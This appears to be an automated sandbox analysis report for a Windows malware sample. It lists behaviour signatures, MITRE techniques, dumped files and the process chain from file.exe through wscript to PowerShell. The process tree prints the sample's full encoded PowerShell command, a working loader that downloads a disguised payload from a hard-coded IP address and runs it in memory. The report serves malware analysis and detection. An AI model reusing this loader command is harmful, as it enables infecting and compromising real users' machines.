Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
16/06/2026, 04:46
General
- Target file.exe
- Size 1.5MB
- Sample260616-fd79dah16p
- SHA256 787b287a86e8b3cb0f84ea80115ef5e87cee33f13b418e98e32b4335fdcd63eb
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\990699.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ondoiw ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwBuACAAZABsAHsAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGEAMQApAGYAbwByAGUAYQBjAGgAKAAkAGEAMgAgAGkAbgAgACQAYQAxACkAewB0AHIAeQB7ACQAYQAzAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAkAGEAMgApADsAJABhADQAPQAkAGEAMwAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAkAGEANQA9ACQAYQA0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAYQA2AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABhADUALgBDAG8AcAB5AFQAbwAoACQAYQA2ACkAOwAkAGEANAAuAEMAbABvAHMAZQAoACkAOwAkAGEANwA9ACQAYQA2AC4AVABvAEEAcgByAGEAeQAoACkAOwAkAGEAOAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGEANwApADsAaQBmACgAJABhADgALgBJAG4AZABlAHgATwBmACgAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAKQAtAGcAZQAwACAALQBhAG4AZAAgACQAYQA4AC4ASQBuAGQAZQB4AE8AZgAoACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQAtAGcAdAAwACkAewByAGUAdAB1AHIAbgAgACQAYQA3AH0AfQBjAGEAdABjAGgAewBjAG8AbgB0AGkAbgB1AGUAfQB9AHIAZQB0AHUAcgBuACAAJABuAHUAbABsAH0ADQAKACQAYQA5AD0AJwBoAHQAdABwACcAOwAkAGEAMQAwAD0AJwA6AC8ALwAnADsAJABhADEAMQA9ACQAYQA5ACsAJABhADEAMAA7ACQAYQAxADIAPQAnADYAMgAuADYAMAAuADIAMgA2AC4AMgA0ADMAJwA7ACQAYQAxADMAPQAnAC8AcAB1AGIAbABpAGMAXwBmAGkAbABlAHMALwAnADsAJABhADEANAA9ACcAMQA2AHMAYQBzAC4AagBwAGcAJwA7ACQAYQAxADUAPQAnAD8AMQAyADcAMQAxADMAMQAzACcAOwAkAGEAMQA2AD0AJABhADkAKwAkAGEAMQAwACsAJABhADEAMgAd@ACQAYQAxADMAKwAkAGEAMQA0ACsAJABhADEANQA7ACQAYQAxADcAPQBAACgAJABhADEANgApADsAJABhADEAOAA9AGQAbAAgACQAYQAxADcAOwBpAGYAKAAkAGEAMQA4ACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAYQAxADkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhADEAOAApADsAJABhADIAMAA9ACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABhADIAMQA9ACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAGEAMgAyAD0AJABhADEAOQAuAEkAbgBkAGUAeABPAGYAKAAkAGEAMgAwACkAOwAkAGEAMgAzAD0AJABhADEAOQAuAEkAbgBkAGUAeABPAGYAKAAkAGEAMgAxACkAOwBpAGYAKAAkAGEAMgAyACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYQAyADMAIAAtAGcAdAAgACQAYQAyADIAKQB7ACQAYQAyADIAKwA9ACQAYQAyADAALgBMAGUAbgBnAHQAaAA7ACQAYQAyADQAPQAkAGEAMgAzAC0AJABhADIAMgA7ACQAYQAyADUAPQAkAGEAMQA5AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGEAMgAyACwAJABhADIANAApADsAJABhADIANgA9AFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEcAZQB0AEEAcwBzAGUAbQBiAGwAaQBlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AbQBhAHQAYwBoACAAJwBtAHMAYwBvAHIAbABpAGIAJwB9ADsAJABhADIANwA9ACQAYQAyADYALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAJwApADsAJABhADIAOAA9ACQAYQAyADcALgBHAGUAdABNAGUAdABoAG8AZAAoACcARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAnACkAOwAkAGEAMgA5AD0AJABhADIAOAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAYQAyADUAKQApADsAJABhADMAMAA9AFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAMgA5ACkAOwAkAGEAMwAxAD0AJABhADMAMAAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAGoAZABxAGsAdwBqAGQAcwAnACkAOwAkAG0AZQB0AGgATgBhAG0AZQAgAD0AIAAnAGwAZgBzACcAKwAnAGcAZQBkACcAKwAnAGQAZABkAGQAZABkACcAKwAnAGEAJwA7ACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAGEAMwAxAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0AZQB0AGgATgBhAG0AZQApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgBhAHAAVgBHAEkASgBsAC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwAzADQAMgAuADYAMgAyAC4AMAA2AC4AMgA2AC8ALwA6ACcALAAgACcAMAAnACwAIAAnAFoAVQBGAHAAUgB0ADcATwBXACcALAAgACcAMAAnACkAKQB9AH0A';$asfjdwWDS = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ondoiw.replace('d@','r') ));& ([scriptblock]::Create($asfjdwWDS))3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
990699.vbs
__PSScriptPolicyTest_asx3xni2.jb0.ps1
memory/3564-2-0x000001F6727F0000-0x000001F672800000-memory.dmp
memory/3564-3-0x000001F6727F0000-0x000001F672800000-memory.dmp
memory/3564-9-0x000001F672750000-0x000001F672772000-memory.dmp
memory/3564-11-0x000001F6727F0000-0x000001F672800000-memory.dmp
memory/3564-12-0x000001F6727F0000-0x000001F672800000-memory.dmp
memory/3564-13-0x000001F6727F0000-0x000001F672800000-memory.dmp
memory/3564-14-0x000001F6727F0000-0x000001F672800000-memory.dmp